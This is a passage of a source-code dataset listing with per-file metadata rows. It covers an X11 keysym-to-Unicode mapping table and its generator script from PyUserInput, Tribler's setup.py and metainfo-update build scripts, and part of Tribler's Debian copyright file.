u'\u0126': 'Hstroke',
u'\u0124': 'Hcircumflex',
u'\u0130': 'Iabovedot',
u'\u011e': 'Gbreve',
u'\u0134': 'Jcircumflex',
u'\u0127': 'hstroke',
u'\u0125': 'hcircumflex',
u'\u0131': 'idotless',
u'\u011f': 'gbreve',
u'\u0135': 'jcircumflex',
u'\u010a': 'Cabovedot',
u'\u0108': 'Ccircumflex',
u'\u0120': 'Gabovedot',
u'\u011c': 'Gcircumflex',
u'\u016c': 'Ubreve',
u'\u015c': 'Scircumflex',
u'\u010b': 'cabovedot',
u'\u0109': 'ccircumflex',
u'\u0121': 'gabovedot',
u'\u011d': 'gcircumflex',
u'\u016d': 'ubreve',
u'\u015d': 'scircumflex',
u'\u0138': 'kra',
u'\u0156': 'Rcedilla',
u'\u0128': 'Itilde',
u'\u013b': 'Lcedilla',
u'\u0112': 'Emacron',
u'\u0122': 'Gcedilla',
u'\u0166': 'Tslash',
u'\u0157': 'rcedilla',
u'\u0129': 'itilde',
u'\u013c': 'lcedilla',
u'\u0113': 'emacron',
u'\u0123': 'gcedilla',
u'\u0167': 'tslash',
u'\u014a': 'ENG',
u'\u014b': 'eng',
u'\u0100': 'Amacron',
u'\u012e': 'Iogonek',
u'\u0116': 'Eabovedot',
u'\u012a': 'Imacron',
u'\u0145': 'Ncedilla',
u'\u014c': 'Omacron',
u'\u0136': 'Kcedilla',
u'\u0172': 'Uogonek',
u'\u0168': 'Utilde',
u'\u016a': 'Umacron',
u'\u0101': 'amacron',
u'\u012f': 'iogonek',
u'\u0117': 'eabovedot',
u'\u012b': 'imacron',
u'\u0146': 'ncedilla',
u'\u014d': 'omacron',
u'\u0137': 'kcedilla',
u'\u0173': 'uogonek',
u'\u0169': 'utilde',
u'\u016b': 'umacron',
u'\u203e': 'overline',
u'\u3002': 'kana_fullstop',
u'\u300c': 'kana_openingbracket',
u'\u300d': 'kana_closingbracket',
u'\u3001': 'kana_comma',
u'\u30fb': 'kana_conjunctive',
u'\u30f2': 'kana_WO',
u'\u30a1': 'kana_a',
u'\u30a3': 'kana_i',
u'\u30a5': 'kana_u',
u'\u30a7': 'kana_e',
u'\u30a9': 'kana_o',
u'\u30e3': 'kana_ya',
u'\u30e5': 'kana_yu',
u'\u30e7': 'kana_yo',
u'\u30c3': 'kana_tsu',
u'\u30fc': 'prolongedsound',
u'\u30a2': 'kana_A',
u'\u30a4': 'kana_I',
u'\u30a6': 'kana_U',
u'\u30a8': 'kana_E',
u'\u30aa': 'kana_O',
u'\u30ab': 'kana_KA',
u'\u30ad': 'kana_KI',
u'\u30af': 'kana_KU',
u'\u30b1': 'kana_KE',
u'\u30b3': 'kana_KO',
u'\u30b5': 'kana_SA',
u'\u30b7': 'kana_SHI',
u'\u30b9': 'kana_SU',
u'\u30bb': 'kana_SE',
u'\u30bd': 'kana_SO',
u'\u30bf': 'kana_TA',
u'\u30c1': 'kana_CHI',
u'\u30c4': 'kana_TSU',
u'\u30c6': 'kana_TE',
u'\u30c8': 'kana_TO',
u'\u30ca': 'kana_NA',
u'\u30cb': 'kana_NI',
u'\u30cc': 'kana_NU',
u'\u30cd': 'kana_NE',
u'\u30ce': 'kana_NO',
u'\u30cf': 'kana_HA',
u'\u30d2': 'kana_HI',
u'\u30d5': 'kana_FU',
u'\u30d8': 'kana_HE',
u'\u30db': 'kana_HO',
u'\u30de': 'kana_MA',
u'\u30df': 'kana_MI',
u'\u30e0': 'kana_MU',
u'\u30e1': 'kana_ME',
u'\u30e2': 'kana_MO',
u'\u30e4': 'kana_YA',
u'\u30e6': 'kana_YU',
u'\u30e8': 'kana_YO',
u'\u30e9': 'kana_RA',
u'\u30ea': 'kana_RI',
u'\u30eb': 'kana_RU',
u'\u30ec': 'kana_RE',
u'\u30ed': 'kana_RO',
u'\u30ef': 'kana_WA',
u'\u30f3': 'kana_N',
u'\u309b': 'voicedsound',
u'\u309c': 'semivoicedsound',
u'\u060c': 'Arabic_comma',
u'\u061b': 'Arabic_semicolon',
u'\u061f': 'Arabic_question_mark',
u'\u0621': 'Arabic_hamza',
u'\u0622': 'Arabic_maddaonalef',
u'\u0623': 'Arabic_hamzaonalef',
u'\u0624': 'Arabic_hamzaonwaw',
u'\u0625': 'Arabic_hamzaunderalef',
u'\u0626': 'Arabic_hamzaonyeh',
u'\u0627': 'Arabic_alef',
u'\u0628': 'Arabic_beh',
u'\u0629': 'Arabic_tehmarbuta',
u'\u062a': 'Arabic_teh',
u'\u062b': 'Arabic_theh',
u'\u062c': 'Arabic_jeem',
u'\u062d': 'Arabic_hah',
u'\u062e': 'Arabic_khah',
u'\u062f': 'Arabic_dal',
u'\u0630': 'Arabic_thal',
u'\u0631': 'Arabic_ra',
u'\u0632': 'Arabic_zain',
u'\u0633': 'Arabic_seen',
u'\u0634': 'Arabic_sheen',
u'\u0635': 'Arabic_sad',
u'\u0636': 'Arabic_dad',
u'\u0637': 'Arabic_tah',
u'\u0638': 'Arabic_zah',
u'\u0639': 'Arabic_ain',
u'\u063a': 'Arabic_ghain',
u'\u0640': 'Arabic_tatweel',
u'\u0641': 'Arabic_feh',
u'\u0642': 'Arabic_qaf',
u'\u0643': 'Arabic_kaf',
u'\u0644': 'Arabic_lam',
u'\u0645': 'Arabic_meem',
u'\u0646': 'Arabic_noon',
u'\u0647': 'Arabic_ha',
u'\u0648': 'Arabic_waw',
u'\u0649': 'Arabic_alefmaksura',
u'\u064a': 'Arabic_yeh',
u'\u064b': 'Arabic_fathatan',
u'\u064c': 'Arabic_dammatan',
u'\u064d': 'Arabic_kasratan',
u'\u064e': 'Arabic_fatha',
u'\u064f': 'Arabic_damma',
u'\u0650': 'Arabic_kasra',
u'\u0651': 'Arabic_shadda',
u'\u0652': 'Arabic_sukun',
u'\u0452': 'Serbian_dje',
u'\u0453': 'Macedonia_gje',
u'\u0451': 'Cyrillic_io',
u'\u0454': 'Ukrainian_ie',
u'\u0455': 'Macedonia_dse',
u'\u0456': 'Ukrainian_i',
u'\u0457': 'Ukrainian_yi',
u'\u0458': 'Cyrillic_je',
u'\u0459': 'Cyrillic_lje',
u'\u045a': 'Cyrillic_nje',
u'\u045b': 'Serbian_tshe',
u'\u045c': 'Macedonia_kje',
u'\u045e': 'Byelorussian_shortu',
u'\u045f': 'Cyrillic_dzhe',
u'\u2116': 'numerosign',
u'\u0402': 'Serbian_DJE',
u'\u0403': 'Macedonia_GJE',
u'\u0401': 'Cyrillic_IO',
u'\u0404': 'Ukrainian_IE',
u'\u0405': 'Macedonia_DSE',
u'\u0406': 'Ukrainian_I',
u'\u0407': 'Ukrainian_YI',
u'\u0408': 'Cyrillic_JE',
u'\u0409': 'Cyrillic_LJE',
u'\u040a': 'Cyrillic_NJE',
u'\u040b': 'Serbian_TSHE',
u'\u040c': 'Macedonia_KJE',
u'\u040e': 'Byelorussian_SHORTU',
u'\u040f': 'Cyrillic_DZHE',
u'\u044e': 'Cyrillic_yu',
u'\u0430': 'Cyrillic_a',
u'\u0431': 'Cyrillic_be',
u'\u0446': 'Cyrillic_tse',
u'\u0434': 'Cyrillic_de',
u'\u0435': 'Cyrillic_ie',
u'\u0444': 'Cyrillic_ef',
u'\u0433': 'Cyrillic_ghe',
u'\u0445': 'Cyrillic_ha',
u'\u0438': 'Cyrillic_i',
u'\u0439': 'Cyrillic_shorti',
u'\u043a': 'Cyrillic_ka',
u'\u043b': 'Cyrillic_el',
u'\u043c': 'Cyrillic_em',
u'\u043d': 'Cyrillic_en',
u'\u043e': 'Cyrillic_o',
u'\u043f': 'Cyrillic_pe',
u'\u044f': 'Cyrillic_ya',
u'\u0440': 'Cyrillic_er',
u'\u0441': 'Cyrillic_es',
u'\u0442': 'Cyrillic_te',
u'\u0443': 'Cyrillic_u',
u'\u0436': 'Cyrillic_zhe',
u'\u0432': 'Cyrillic_ve',
u'\u044c': 'Cyrillic_softsign',
u'\u044b': 'Cyrillic_yeru',
u'\u0437': 'Cyrillic_ze',
u'\u0448': 'Cyrillic_sha',
u'\u044d': 'Cyrillic_e',
u'\u0449': 'Cyrillic_shcha',
u'\u0447': 'Cyrillic_che',
u'\u044a': 'Cyrillic_hardsign',
u'\u042e': 'Cyrillic_YU',
u'\u0410': 'Cyrillic_A',
u'\u0411': 'Cyrillic_BE',
u'\u0426': 'Cyrillic_TSE',
u'\u0414': 'Cyrillic_DE',
u'\u0415': 'Cyrillic_IE',
u'\u0424': 'Cyrillic_EF',
u'\u0413': 'Cyrillic_GHE',
u'\u0425': 'Cyrillic_HA',
u'\u0418': 'Cyrillic_I',
u'\u0419': 'Cyrillic_SHORTI',
u'\u041a': 'Cyrillic_KA',
u'\u041b': 'Cyrillic_EL',
u'\u041c': 'Cyrillic_EM',
u'\u041d': 'Cyrillic_EN',
u'\u041e': 'Cyrillic_O',
u'\u041f': 'Cyrillic_PE',
u'\u042f': 'Cyrillic_YA',
u'\u0420': 'Cyrillic_ER',
u'\u0421': 'Cyrillic_ES',
u'\u0422': 'Cyrillic_TE',
u'\u0423': 'Cyrillic_U',
u'\u0416': 'Cyrillic_ZHE',
u'\u0412': 'Cyrillic_VE',
u'\u042c': 'Cyrillic_SOFTSIGN',
u'\u042b': 'Cyrillic_YERU',
u'\u0417': 'Cyrillic_ZE',
u'\u0428': 'Cyrillic_SHA',
u'\u042d': 'Cyrillic_E',
u'\u0429': 'Cyrillic_SHCHA',
u'\u0427': 'Cyrillic_CHE',
u'\u042a': 'Cyrillic_HARDSIGN',
u'\u0386': 'Greek_ALPHAaccent',
u'\u0388': 'Greek_EPSILONaccent',
u'\u0389': 'Greek_ETAaccent',
u'\u038a': 'Greek_IOTAaccent',
u'\u03aa': 'Greek_IOTAdiaeresis',
u'\u038c': 'Greek_OMICRONaccent',
u'\u038e': 'Greek_UPSILONaccent',
u'\u03ab': 'Greek_UPSILONdieresis',
u'\u038f': 'Greek_OMEGAaccent',
u'\u0385': 'Greek_accentdieresis',
u'\u2015': 'Greek_horizbar',
u'\u03ac': 'Greek_alphaaccent',
u'\u03ad': 'Greek_epsilonaccent',
u'\u03ae': 'Greek_etaaccent',
u'\u03af': 'Greek_iotaaccent',
u'\u03ca': 'Greek_iotadieresis',
u'\u0390': 'Greek_iotaaccentdieresis',
u'\u03cc': 'Greek_omicronaccent',
u'\u03cd': 'Greek_upsilonaccent',
u'\u03cb': 'Greek_upsilondieresis',
u'\u03b0': 'Greek_upsilonaccentdieresis',
u'\u03ce': 'Greek_omegaaccent',
u'\u0391': 'Greek_ALPHA',
u'\u0392': 'Greek_BETA',
u'\u0393': 'Greek_GAMMA',
u'\u0394': 'Greek_DELTA',
u'\u0395': 'Greek_EPSILON',
u'\u0396': 'Greek_ZETA',
u'\u0397': 'Greek_ETA',
u'\u0398': 'Greek_THETA',
u'\u0399': 'Greek_IOTA',
u'\u039a': 'Greek_KAPPA',
u'\u039b': 'Greek_LAMBDA',
u'\u039b': 'Greek_LAMDA',
u'\u039c': 'Greek_MU',
u'\u039d': 'Greek_NU',
u'\u039e': 'Greek_XI',
u'\u039f': 'Greek_OMICRON',
u'\u03a0': 'Greek_PI',
u'\u03a1': 'Greek_RHO',
u'\u03a3': 'Greek_SIGMA',
u'\u03a4': 'Greek_TAU',
u'\u03a5': 'Greek_UPSILON',
u'\u03a6': 'Greek_PHI',
u'\u03a7': 'Greek_CHI',
u'\u03a8': 'Greek_PSI',
u'\u03a9': 'Greek_OMEGA',
u'\u03b1': 'Greek_alpha',
u'\u03b2': 'Greek_beta',
u'\u03b3': 'Greek_gamma',
u'\u03b4': 'Greek_delta',
u'\u03b5': 'Greek_epsilon',
u'\u03b6': 'Greek_zeta',
u'\u03b7': 'Greek_eta',
u'\u03b8': 'Greek_theta',
u'\u03b9': 'Greek_iota',
u'\u03ba': 'Greek_kappa',
u'\u03bb': 'Greek_lambda',
u'\u03bc': 'Greek_mu',
u'\u03bd': 'Greek_nu',
u'\u03be': 'Greek_xi',
u'\u03bf': 'Greek_omicron',
u'\u03c0': 'Greek_pi',
u'\u03c1': 'Greek_rho',
u'\u03c3': 'Greek_sigma',
u'\u03c2': 'Greek_finalsmallsigma',
u'\u03c4': 'Greek_tau',
u'\u03c5': 'Greek_upsilon',
u'\u03c6': 'Greek_phi',
u'\u03c7': 'Greek_chi',
u'\u03c8': 'Greek_psi',
u'\u03c9': 'Greek_omega',
u'\u23b7': 'leftradical',
u'\u2320': 'topintegral',
u'\u2321': 'botintegral',
u'\u23a1': 'topleftsqbracket',
u'\u23a3': 'botleftsqbracket',
u'\u23a4': 'toprightsqbracket',
u'\u23a6': 'botrightsqbracket',
u'\u239b': 'topleftparens',
u'\u239d': 'botleftparens',
u'\u239e': 'toprightparens',
u'\u23a0': 'botrightparens',
u'\u23a8': 'leftmiddlecurlybrace',
u'\u23ac': 'rightmiddlecurlybrace',
u'\u2264': 'lessthanequal',
u'\u2260': 'notequal',
u'\u2265': 'greaterthanequal',
u'\u222b': 'integral',
u'\u2234': 'therefore',
u'\u221d': 'variation',
u'\u221e': 'infinity',
u'\u2207': 'nabla',
u'\u223c': 'approximate',
u'\u2243': 'similarequal',
u'\u21d4': 'ifonlyif',
u'\u21d2': 'implies',
u'\u2261': 'identical',
u'\u221a': 'radical',
u'\u2282': 'includedin',
u'\u2283': 'includes',
u'\u2229': 'intersection',
u'\u222a': 'union',
u'\u2227': 'logicaland',
u'\u2228': 'logicalor',
u'\u2202': 'partialderivative',
u'\u0192': 'function',
u'\u2190': 'leftarrow',
u'\u2191': 'uparrow',
u'\u2192': 'rightarrow',
u'\u2193': 'downarrow',
u'\u25c6': 'soliddiamond',
u'\u2592': 'checkerboard',
u'\u2409': 'ht',
u'\u240c': 'ff',
u'\u240d': 'cr',
u'\u240a': 'lf',
u'\u2424': 'nl',
u'\u240b': 'vt',
u'\u2518': 'lowrightcorner',
u'\u2510': 'uprightcorner',
u'\u250c': 'upleftcorner',
u'\u2514': 'lowleftcorner',
u'\u253c': 'crossinglines',
u'\u23ba': 'horizlinescan1',
u'\u23bb': 'horizlinescan3',
u'\u2500': 'horizlinescan5',
u'\u23bc': 'horizlinescan7',
u'\u23bd': 'horizlinescan9',
u'\u251c': 'leftt',
u'\u2524': 'rightt',
u'\u2534': 'bott',
u'\u252c': 'topt',
u'\u2502': 'vertbar',
u'\u2003': 'emspace',
u'\u2002': 'enspace',
u'\u2004': 'em3space',
u'\u2005': 'em4space',
u'\u2007': 'digitspace',
u'\u2008': 'punctspace',
u'\u2009': 'thinspace',
u'\u200a': 'hairspace',
u'\u2014': 'emdash',
u'\u2013': 'endash',
u'\u2026': 'ellipsis',
u'\u2025': 'doubbaselinedot',
u'\u2153': 'onethird',
u'\u2154': 'twothirds',
u'\u2155': 'onefifth',
u'\u2156': 'twofifths',
u'\u2157': 'threefifths',
u'\u2158': 'fourfifths',
u'\u2159': 'onesixth',
u'\u215a': 'fivesixths',
u'\u2105': 'careof',
u'\u2012': 'figdash',
u'\u215b': 'oneeighth',
u'\u215c': 'threeeighths',
u'\u215d': 'fiveeighths',
u'\u215e': 'seveneighths',
u'\u2122': 'trademark',
u'\u2018': 'leftsinglequotemark',
u'\u2019': 'rightsinglequotemark',
u'\u201c': 'leftdoublequotemark',
u'\u201d': 'rightdoublequotemark',
u'\u211e': 'prescription',
u'\u2032': 'minutes',
u'\u2033': 'seconds',
u'\u271d': 'latincross',
u'\u2663': 'club',
u'\u2666': 'diamond',
u'\u2665': 'heart',
u'\u2720': 'maltesecross',
u'\u2020': 'dagger',
u'\u2021': 'doubledagger',
u'\u2713': 'checkmark',
u'\u2717': 'ballotcross',
u'\u266f': 'musicalsharp',
u'\u266d': 'musicalflat',
u'\u2642': 'malesymbol',
u'\u2640': 'femalesymbol',
u'\u260e': 'telephone',
u'\u2315': 'telephonerecorder',
u'\u2117': 'phonographcopyright',
u'\u2038': 'caret',
u'\u201a': 'singlelowquotemark',
u'\u201e': 'doublelowquotemark',
u'\u22a5': 'downtack',
u'\u230a': 'downstile',
u'\u2218': 'jot',
u'\u2395': 'quad',
u'\u22a4': 'uptack',
u'\u25cb': 'circle',
u'\u2308': 'upstile',
u'\u22a2': 'lefttack',
u'\u22a3': 'righttack',
u'\u2017': 'hebrew_doublelowline',
u'\u05d0': 'hebrew_aleph',
u'\u05d1': 'hebrew_bet',
u'\u05d1': 'hebrew_beth',
u'\u05d2': 'hebrew_gimel',
u'\u05d2': 'hebrew_gimmel',
u'\u05d3': 'hebrew_dalet',
u'\u05d3': 'hebrew_daleth',
u'\u05d4': 'hebrew_he',
u'\u05d5': 'hebrew_waw',
u'\u05d6': 'hebrew_zain',
u'\u05d6': 'hebrew_zayin',
u'\u05d7': 'hebrew_chet',
u'\u05d7': 'hebrew_het',
u'\u05d8': 'hebrew_tet',
u'\u05d8': 'hebrew_teth',
u'\u05d9': 'hebrew_yod',
u'\u05da': 'hebrew_finalkaph',
u'\u05db': 'hebrew_kaph',
u'\u05dc': 'hebrew_lamed',
u'\u05dd': 'hebrew_finalmem',
u'\u05de': 'hebrew_mem',
u'\u05df': 'hebrew_finalnun',
u'\u05e0': 'hebrew_nun',
u'\u05e1': 'hebrew_samech',
u'\u05e1': 'hebrew_samekh',
u'\u05e2': 'hebrew_ayin',
u'\u05e3': 'hebrew_finalpe',
u'\u05e4': 'hebrew_pe',
u'\u05e5': 'hebrew_finalzade',
u'\u05e5': 'hebrew_finalzadi',
u'\u05e6': 'hebrew_zade',
u'\u05e6': 'hebrew_zadi',
u'\u05e7': 'hebrew_kuf',
u'\u05e7': 'hebrew_qoph',
u'\u05e8': 'hebrew_resh',
u'\u05e9': 'hebrew_shin',
u'\u05ea': 'hebrew_taf',
u'\u05ea': 'hebrew_taw',
u'\u0e01': 'Thai_kokai',
u'\u0e02': 'Thai_khokhai',
u'\u0e03': 'Thai_khokhuat',
u'\u0e04': 'Thai_khokhwai',
u'\u0e05': 'Thai_khokhon',
u'\u0e06': 'Thai_khorakhang',
u'\u0e07': 'Thai_ngongu',
u'\u0e08': 'Thai_chochan',
u'\u0e09': 'Thai_choching',
u'\u0e0a': 'Thai_chochang',
u'\u0e0b': 'Thai_soso',
u'\u0e0c': 'Thai_chochoe',
u'\u0e0d': 'Thai_yoying',
u'\u0e0e': 'Thai_dochada',
u'\u0e0f': 'Thai_topatak',
u'\u0e10': 'Thai_thothan',
u'\u0e11': 'Thai_thonangmontho',
u'\u0e12': 'Thai_thophuthao',
u'\u0e13': 'Thai_nonen',
u'\u0e14': 'Thai_dodek',
u'\u0e15': 'Thai_totao',
u'\u0e16': 'Thai_thothung',
u'\u0e17': 'Thai_thothahan',
u'\u0e18': 'Thai_thothong',
u'\u0e19': 'Thai_nonu',
u'\u0e1a': 'Thai_bobaimai',
u'\u0e1b': 'Thai_popla',
u'\u0e1c': 'Thai_phophung',
u'\u0e1d': 'Thai_fofa',
u'\u0e1e': 'Thai_phophan',
u'\u0e1f': 'Thai_fofan',
u'\u0e20': 'Thai_phosamphao',
u'\u0e21': 'Thai_moma',
u'\u0e22': 'Thai_yoyak',
u'\u0e23': 'Thai_rorua',
u'\u0e24': 'Thai_ru',
u'\u0e25': 'Thai_loling',
u'\u0e26': 'Thai_lu',
u'\u0e27': 'Thai_wowaen',
u'\u0e28': 'Thai_sosala',
u'\u0e29': 'Thai_sorusi',
u'\u0e2a': 'Thai_sosua',
u'\u0e2b': 'Thai_hohip',
u'\u0e2c': 'Thai_lochula',
u'\u0e2d': 'Thai_oang',
u'\u0e2e': 'Thai_honokhuk',
u'\u0e2f': 'Thai_paiyannoi',
u'\u0e30': 'Thai_saraa',
u'\u0e31': 'Thai_maihanakat',
u'\u0e32': 'Thai_saraaa',
u'\u0e33': 'Thai_saraam',
u'\u0e34': 'Thai_sarai',
u'\u0e35': 'Thai_saraii',
u'\u0e36': 'Thai_saraue',
u'\u0e37': 'Thai_sarauee',
u'\u0e38': 'Thai_sarau',
u'\u0e39': 'Thai_sarauu',
u'\u0e3a': 'Thai_phinthu',
u'\u0e3f': 'Thai_baht',
u'\u0e40': 'Thai_sarae',
u'\u0e41': 'Thai_saraae',
u'\u0e42': 'Thai_sarao',
u'\u0e43': 'Thai_saraaimaimuan',
u'\u0e44': 'Thai_saraaimaimalai',
u'\u0e45': 'Thai_lakkhangyao',
u'\u0e46': 'Thai_maiyamok',
u'\u0e47': 'Thai_maitaikhu',
u'\u0e48': 'Thai_maiek',
u'\u0e49': 'Thai_maitho',
u'\u0e4a': 'Thai_maitri',
u'\u0e4b': 'Thai_maichattawa',
u'\u0e4c': 'Thai_thanthakhat',
u'\u0e4d': 'Thai_nikhahit',
u'\u0e50': 'Thai_leksun',
u'\u0e51': 'Thai_leknung',
u'\u0e52': 'Thai_leksong',
u'\u0e53': 'Thai_leksam',
u'\u0e54': 'Thai_leksi',
u'\u0e55': 'Thai_lekha',
u'\u0e56': 'Thai_lekhok',
u'\u0e57': 'Thai_lekchet',
u'\u0e58': 'Thai_lekpaet',
u'\u0e59': 'Thai_lekkao',
u'\u0152': 'OE',
u'\u0153': 'oe',
u'\u0178': 'Ydiaeresis',
u'\u20ac': 'EuroSign',
u'\u0491': 'Ukrainian_ghe_with_upturn',
u'\u0490': 'Ukrainian_GHE_WITH_UPTURN'}
| 24,426 | Python | .py | 854 | 23.675644 | 79 | 0.549955 | SavinaRoja/PyUserInput | 1,070 | 244 | 73 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,884 | xlib-keysyms-to-python.py | SavinaRoja_PyUserInput/reference_materials/xlib-keysyms-to-python.py | #!/usr/bin/env python
# coding: utf-8
# Copyright 2015 Moses Palmér
#
# This program is free software: you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the Free
# Software Foundation, either version 3 of the License, or (at your option)
# any later version.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
# details.
#
# You should have received a copy of the GNU General Public License along with
# this program. If not, see <http://www.gnu.org/licenses/>.
"""
Converts the file xlib-keysyms.txt to a Python mapping from character to
symbol name.
"""
import os
#: The path to the input file
INPUT_PATH = os.path.join(
os.path.dirname(__file__),
'xlib-keysyms.txt')
#: The path to the output file
OUTPUT_PATH = os.path.join(
os.path.dirname(__file__),
os.path.pardir,
'pykeyboard',
'x11_keysyms.py')
def lines():
"""Yields all lines in the input file.
"""
with open(INPUT_PATH) as f:
for line in f:
yield line.rstrip()
def keysym_lines():
"""Yields all lines in the input file containing a keysym definition.
"""
for line in lines():
if not line:
# Ignore empty lines
continue
elif line[0] == '#':
# Ignore lines starting with '#'; it is also used to separate
# keysym information from its name, but in the first position it is
# used to mark comments
continue
else:
yield line
def keysym_definitions():
"""Yields all keysym definitions parsed as tuples.
"""
for keysym_line in keysym_lines():
# As described in the input text, the format of a line is:
# 0x20 U0020 . # space /* optional comment */
keysym_number, codepoint, status, _, name_part = [
p.strip() for p in keysym_line.split(None, 4)]
name = name_part.split()[0]
yield (int(keysym_number, 16), codepoint[1:], status, name)
def keysyms_from_strings():
"""Yields the tuple ``(character, symbol name)`` for all keysyms.
"""
for number, codepoint, status, name in keysym_definitions():
# Ignore keysyms that do not map to unicode characters
if all(c == '0' for c in codepoint):
continue
# Ignore keysyms that are not well established
if status != '.':
continue
yield (codepoint, name)
if __name__ == '__main__':
with open(OUTPUT_PATH, 'w') as f:
f.write('''# coding: utf-8
# Copyright 2015 Moses Palmér
#
# This program is free software: you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the Free
# Software Foundation, either version 3 of the License, or (at your option)
# any later version.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
# details.
#
# You should have received a copy of the GNU General Public License along with
# this program. If not, see <http://www.gnu.org/licenses/>.
KEYSYMS = {
%s}
''' % ',\n'.join(
' u\'\\u%s\': \'%s\'' % (codepoint, name)
for codepoint, name in keysyms_from_strings()))
| 3,537 | Python | .pyt | 94 | 32.680851 | 79 | 0.668516 | SavinaRoja/PyUserInput | 1,070 | 244 | 73 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,885 | setup.py | Tribler_tribler/build/setup.py | from __future__ import annotations
import os
import re
import shutil
from pathlib import Path
from packaging.version import Version
from setuptools import find_packages
from win.build import setup, setup_executables, setup_options
def read_requirements(file_name: str, directory: str = ".") -> list[str]:
"""
Read the pip requirements from the given file name in the given directory.
"""
file_path = os.path.join(directory, file_name)
if not os.path.exists(file_path):
return []
requirements = []
with open(file_path, encoding="utf-8") as file:
for line in file:
# Check for a nested requirements file
if line.startswith("-r"):
nested_file = line.split(" ")[1].strip()
requirements += read_requirements(nested_file, directory)
elif not line.startswith("#") and line.strip() != "":
requirements.append(line.strip().split("#")[0].strip())
return requirements
base_dir = os.path.dirname(os.path.abspath(__file__))
install_requires = read_requirements("build/requirements.txt", base_dir)
extras_require = {
"dev": read_requirements("requirements-test.txt", base_dir),
}
# Copy src/run_tribler.py --> src/tribler/run.py to make it accessible in entry_points scripts.
# See: entry_points={"gui_scripts": ["tribler=tribler.run:main"]} in setup() below.
shutil.copy("src/run_tribler.py", "src/tribler/run.py")
# Turn the tag into a sequence of integer values and normalize into a period-separated string.
raw_version = os.getenv("GITHUB_TAG")
version_numbers = [str(value) for value in map(int, re.findall(r"\d+", raw_version))]
version = Version(".".join(version_numbers))
# cx_Freeze does not automatically make the package metadata
os.makedirs("tribler.dist-info", exist_ok=True)
with open("tribler.dist-info/METADATA", "w") as metadata_file:
metadata_file.write(f"""Metadata-Version: 2.3
Name: Tribler
Version: {str(version)}""")
setup(
name="tribler",
version=str(version),
description="Privacy enhanced BitTorrent client with P2P content discovery",
long_description=Path("README.rst").read_text(encoding="utf-8"),
long_description_content_type="text/x-rst",
author="Tribler Team",
author_email="info@tribler.org",
url="https://github.com/Tribler/tribler",
keywords="BitTorrent client, file sharing, peer-to-peer, P2P, TOR-like network",
python_requires=">=3.8",
packages=find_packages(where="src"),
package_dir={"": "src"},
include_package_data=True,
install_requires=install_requires,
extras_require=extras_require,
entry_points={
"gui_scripts": [
"tribler=tribler.run:main",
]
},
classifiers=[
"Development Status :: 5 - Production/Stable",
"Intended Audience :: Developers",
"Intended Audience :: End Users/Desktop",
"License :: OSI Approved :: GNU General Public License v3 (GPLv3)",
"Programming Language :: Python :: 3",
"Programming Language :: Python :: 3.9",
"Programming Language :: Python :: 3.10",
"Topic :: Communications :: File Sharing",
"Topic :: Security :: Cryptography",
"Operating System :: OS Independent",
],
options=setup_options,
executables=setup_executables
)
| 3,328 | Python | .py | 79 | 36.78481 | 95 | 0.679123 | Tribler/tribler | 4,768 | 443 | 131 | GPL-3.0 | 9/5/2024, 5:13:26 PM (Europe/Amsterdam) |
22,886 | update_metainfo.py | Tribler_tribler/build/debian/update_metainfo.py | from os import getenv
from time import localtime, strftime
from xml.etree.ElementTree import SubElement, parse
if __name__ == "__main__":
metainfo_xml = "build/debian/tribler/usr/share/metainfo/org.tribler.Tribler.metainfo.xml"
tree = parse(metainfo_xml)
root = tree.getroot()
releases_tag = root.find("releases")
releases_tag.append(SubElement(releases_tag, "release", {"version": getenv("GITHUB_TAG"),
"date": strftime("%Y-%m-%d", localtime())}))
tree.write(metainfo_xml, encoding="utf-8", xml_declaration=True)
| 600 | Python | .py | 11 | 45.727273 | 105 | 0.644558 | Tribler/tribler | 4,768 | 443 | 131 | GPL-3.0 | 9/5/2024, 5:13:26 PM (Europe/Amsterdam) |
22,887 | copyright | Tribler_tribler/build/debian/tribler/debian/copyright | Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
Upstream-Name: tribler
Source: http://www.tribler.org/
Files: *
Copyright: 2005-2011 Delft University of Technology and Vrije Universiteit Amsterdam
License: LGPL-2.1+
Files: Tribler/*
Copyright: 2005-2011 Delft University of Technology and Vrije Universiteit Amsterdam
License: LGPL-2.1+
Files: Tribler/Core/Multicast/* Tribler/Core/Statistics/Status/* Tribler/Core/ClosedSwarm/* Tribler/Plugin/BackgroundProcess-njaal.py Tribler/Test/test_closedswarm.py Tribler/Test/test_status.py Tribler/Tools/createlivestream-njaal.py Tribler/Tools/createpoa.py Tribler/Tools/trial_poa_server.py Tribler/UPnP/* Tribler/Test/test_upnp.py
Copyright: 2008-2012 Norut AS
License: LGPL-2.1+
Files: Tribler/Core/NATFirewall/NatCheck.py Tribler/Core/NATFirewall/TimeoutCheck.py Tribler/Core/NATFirewall/NatCheckMsgHandler.py Tribler/Policies/SeedingManager.py Tribler/Core/Statistics/SeedingStatsCrawler.py Tribler/Core/CacheDB/SqliteSeedingStatsCacheDB.py Tribler/Core/BuddyCast/moderationcast.py Tribler/Core/BuddyCast/moderationcast_util.py Tribler/Core/BuddyCast/votecast.py Tribler/Core/CacheDB/maxflow.py Tribler/Core/CacheDB/SqliteVideoPlaybackStatsCacheDB.py Tribler/Core/NATFirewall/ConnectionCheck.py Tribler/Core/NATFirewall/NatTraversal.py Tribler/Core/Search/Reranking.py Tribler/Core/Statistics/tribler_videoplayback_stats.sql Tribler/Core/Statistics/VideoPlaybackCrawler.py Tribler/Core/Utilities/Crypto.py Tribler/Images/* Tribler/Player/BaseApp.py Tribler/Player/EmbeddedPlayer4Frame.py Tribler/Player/PlayerVideoFrame.py Tribler/Plugin/* Tribler/Test/test_multicast.py Tribler/Test/test_na_extend_hs.py Tribler/Test/test_na_extend_hs.sh Tribler/Test/test_sqlitecachedbhandler.sh Tribler/Tools/dirtrackerseeder.py Tribler/Tools/pipe-babscam-h264-nosound-mencoder.sh Tribler/Tools/superpeer.py 